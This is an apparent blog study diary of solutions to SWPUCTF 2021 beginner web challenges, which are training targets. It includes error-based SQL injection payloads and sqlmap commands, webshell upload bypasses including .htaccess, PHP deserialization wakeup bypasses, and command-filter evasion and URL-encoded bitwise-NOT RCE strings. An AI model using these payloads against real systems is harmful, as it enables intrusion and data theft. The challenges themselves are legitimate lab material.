当前位置: 首页 > news >正文

刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥,不想老是浪费时间了,所以刷多少题我就会写多少题解,使用nss随机刷题,但是今天下午不知道为啥一刷都是SWPUCTF的。

[SWPUCTF 2021 新生赛]gift_F12

控制台ctrl+f搜索flag即可,得到flag

[SWPUCTF 2021 新生赛]caidao

怎么做写脸上了,直接连,

[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file
('index.php');
include(
"flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if (
$id=="wllmNB"&&$json['x']=="wllm")
{echo 
$flag;}
?>

//阅读一下源码:可以看到要输出flag要满足POST传入id=wllmNB,GET传入json字符串经过解码后要满足$json['x']=="wllm",GET传入{"x":"wllm"}即可
NSSCTF{95d74e97-b06c-4fb2-b028-bb3a0ab2686c}

[SWPUCTF 2021 新生赛]Do_you_know_http

使用hackbar传入User-Agent :WLLM即可


第二关传入X-Forwarded-For :127.0.0.1 即可

[SWPUCTF 2021 新生赛]easy_md5

一个很简单的md5

[SWPUCTF 2021 新生赛]easyupload1.0

传个一句话木马试试

应该是给php后缀搬掉了,试试phtml,也搬掉了,不太行,传个图片

图片可以正常上传猜测检测字段Content-Type:

直接改个php试试

上传成功。

直接连接了,然后虚拟终端打开找找flag

找到了,但是上传之后竟然是错误的,看了wp后说要在phpinfo里面找,这个没想到

[SWPUCTF 2021 新生赛]nc签到

看题目直接拿vps nc一下吧

黑名单搬了一点

看看路径,可以使用l's'这样的方式绕过查看一下flag

ca't'$IFS$9flag

当然我们使用nl也是可以的

[SWPUCTF 2021 新生赛]easyupload2.0

直接蚁剑连接即可

[SWPUCTF 2021 新生赛]easyrce

没有任何限制直接RCE就行

[SWPUCTF 2021 新生赛]babyrce

加个cookie下一关出来了

空格过滤了直接${IFS}或者$IFS$9绕过

[SWPUCTF 2021 新生赛]ez_unserialize

开题没告诉题目开源码,意图明显,访问/robots.txt

找到目录


找到题目,解析一下,当类销毁的时候如果amdin=admin,passwd=ctf那么就输出flag,思路有了生成对象p的时候直接赋值对象p的admin和passwd属性即可

[SWPUCTF 2021 新生赛]include

给了个提示

经过包含发现没包含出来,搜了一下include_once函数的用法

说明flag.php已经被包含过了,那我们使用php伪协议将flag的base64直接输出,然后解码即可

[SWPUCTF 2021 新生赛]error

搜索框输入1,写没有提示?看看源码

看到源码给出提示

直接跑sqlmap

python sqlmap.py -u ”url" --dbs

python sqlmap.py -u “url” test_db --tables

python sqlmap.py -u “url” -D test_db -T test_tb --columns

python sqlmap.py -u “url” -D test_db -T test_tb -C flag --dump

这里是报错注入,SELECT * FROM users WHERE id='$id' LIMIT 0,1可以看到给了语句

直接进行报错注入:1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- 原理:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

SELECT * FROM users WHERE id='1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))--' LIMIT 0,1

--后面的明显被注释了,

EXTRACTVALUE:

它的正常用法是从一个合法的 XML 文档中,按照给定的 XPath 语法规则,提取匹配的节点值。然而,当提供的 XML 或 XPath 是非法的或者不符合格式时

  • CONCAT(0x7e, (SELECT database()), 0x7e):将当前的数据库名称与两个 ~ 符号(十六进制 0x7e 表示的 ~)拼接。SELECT database() 会返回当前使用的数据库名称。
  • EXTRACTVALUE(1, ...):由于传递的参数不是有效的 XML 数据格式,EXTRACTVALUE() 会触发一个错误。这个错误的详细信息可能包含我们拼接的数据库名称,这样就通过报错信息泄露了敏感数据。

数据库名出来了;

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='test_db' LIMIT 0,1), 0x7e))-- -

跑出来表名

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='test_tb' and table_schema='test_db' LIMIT 1,1), 0x7e))-- -

跑出来个flag列

直接拿出flag

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT flag FROM test_tb LIMIT 0,1), 0x7e))-- -

出了一半,

再找下一半应该是放不下了从右往左找试试

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT left(flag,30) FROM test_tb LIMIT 0,1), 0x7e))-- -

可以看到最多输出30位,输入31后后面的波浪号没了

把这两个找出来的flag整合一下即可

把这两个整合一下flag

[SWPUCTF 2021 新生赛]no_wakeup

小派蒙给了一个class.php,打开看看

是一个反序列化的题目,分析一下,当对象被反序列化的时候会自动调用wakeup魔术方法,意思是我们传入这一串O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}的时候passwd会变成SHA1(wllm)这样会导致我们不能满足条件,这题意图比较明显了,就是wakeup绕过,怎么绕过呢?

参考两篇文章:我感觉写的很好

PHP反序列化中wakeup()绕过总结 – fushulingのblog

PHP反序列化

我们这里直接把元素数改为3就可以绕过,为什么呢?

因为当传入数据被反序列化时因为多了一个元素但是找不到元素然后就不能完成整个反序列化的过程导致中途exit所以wakeup调用不了

这一个我看了感觉很有参考意义,记录一下

wake_up绕过练习参考:A new way to bypass __wakeup() and build POP chain - inhann的博客 | inhann's Blog

[SWPUCTF 2021 新生赛]easyupload3.0

依然选择直接传一个伪造的图片上去,依然这个图片是完全可以传的,

稍微改一改再次测试

稳定发挥啊还是可以传的,改下后缀呢?

看来不行了那我们只能用图片马先试试吧,我们已经传了一个jpg文件先试试能不能传.htaccess

成功了蚁剑连接一下

添加成功

找到flag

[SWPUCTF 2021 新生赛]finalrce

一个防火墙绕过,tac 没禁了,看wp学到了点东西

find / | tee 1.txt

可以输出根目录到1.txt文件里面尝试一下,试了完全打不开太大了有点,我们在vps上下载下来吧

 curl -O http://node4.anna.nssctf.cn:28864/1.txt

然后找一找敏感文件

cat 1.txt |grep /fl*
 

可以看到输出的最后就是很明显的flag啊直接 tac /flllllaaaaaaggggggg,但是la不能连接在一起我们这里用用一个正则分开tac /flllll\aaaaaaggggggg,这里是看不到东西的使用和刚刚一样的方法tee试试

tac /flllll\aaaaaaggggggg | tee 2.txt

获取到flag

[SWPUCTF 2021 新生赛]hardrce


防火墙禁止了很多东西,字母字母用不了,也禁止了很多符号啊,没什么思路参考wp

<?php
a="system";a="system";b = “cat /f*”;
echo urlencode(~a); print("\n"); echo urlencode(~b);
?>

这样也可以绕过。

url编码绕过限制

?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

学到了

相关文章:

  • Python FFmpeg 安装使用教程
  • k8s 1.28.2 集群部署 ingress 1.11.1 包含 admission-webhook
  • 优化后的版本
  • 【Vue】vue2项目打包后部署刷新404,配置publicPath ./ 不生效问题
  • 正则表达式中的贪婪模式和非贪婪模式
  • 小程序原生-利用setData()对不同类型的数据进行增删改
  • 《微信小程序实战(4) · 地图导航功能》
  • 【每天学个新注解】Day 10 Lombok注解简解(九)—@Accessors
  • 第十三届蓝桥杯真题Java c组C.纸张尺寸(持续更新)
  • UNI-APP_iOS开发技巧之:跳转到TestFlight或者App Store
  • SQL第11课——使用子查询
  • 983. 最低票价
  • PHP读取文件内容的几种方法和函数
  • django使用笔记6--docker部署
  • 破局汽车智能化浪潮:Tire 1供应商的网络优化与升级策略
  • 【5+】跨webview多页面 触发事件(二)
  • Android系统模拟器绘制实现概述
  • angular组件开发
  • ES6--对象的扩展
  • java多线程
  • redis学习笔记(三):列表、集合、有序集合
  • SSH 免密登录
  • Yeoman_Bower_Grunt
  • 产品三维模型在线预览
  • 分享一个自己写的基于canvas的原生js图片爆炸插件
  • 回顾2016
  • 简单实现一个textarea自适应高度
  • 嵌入式文件系统
  • 王永庆:技术创新改变教育未来
  • 为什么要用IPython/Jupyter?
  • 想使用 MongoDB ,你应该了解这8个方面!
  • 携程小程序初体验
  • ionic异常记录
  • Linux权限管理(week1_day5)--技术流ken
  • Spark2.4.0源码分析之WorldCount 默认shuffling并行度为200(九) ...
  • #NOIP 2014#day.2 T1 无限网络发射器选址
  • #QT 笔记一
  • #在线报价接单​再坚持一下 明天是真的周六.出现货 实单来谈
  • (003)SlickEdit Unity的补全
  • (4.10~4.16)
  • (BAT向)Java岗常问高频面试汇总:MyBatis 微服务 Spring 分布式 MySQL等(1)
  • (附源码)spring boot校园拼车微信小程序 毕业设计 091617
  • (附源码)springboot电竞专题网站 毕业设计 641314
  • (附源码)计算机毕业设计ssm-Java网名推荐系统
  • (三)elasticsearch 源码之启动流程分析
  • (自用)learnOpenGL学习总结-高级OpenGL-抗锯齿
  • **PHP二维数组遍历时同时赋值
  • .form文件_一篇文章学会文件上传
  • .net core 实现redis分片_基于 Redis 的分布式任务调度框架 earth-frost
  • .Net 应用中使用dot trace进行性能诊断
  • .net中我喜欢的两种验证码
  • /*在DataTable中更新、删除数据*/
  • [].slice.call()将类数组转化为真正的数组
  • [16/N]论得趣
  • [AHOI2009]中国象棋 DP,递推,组合数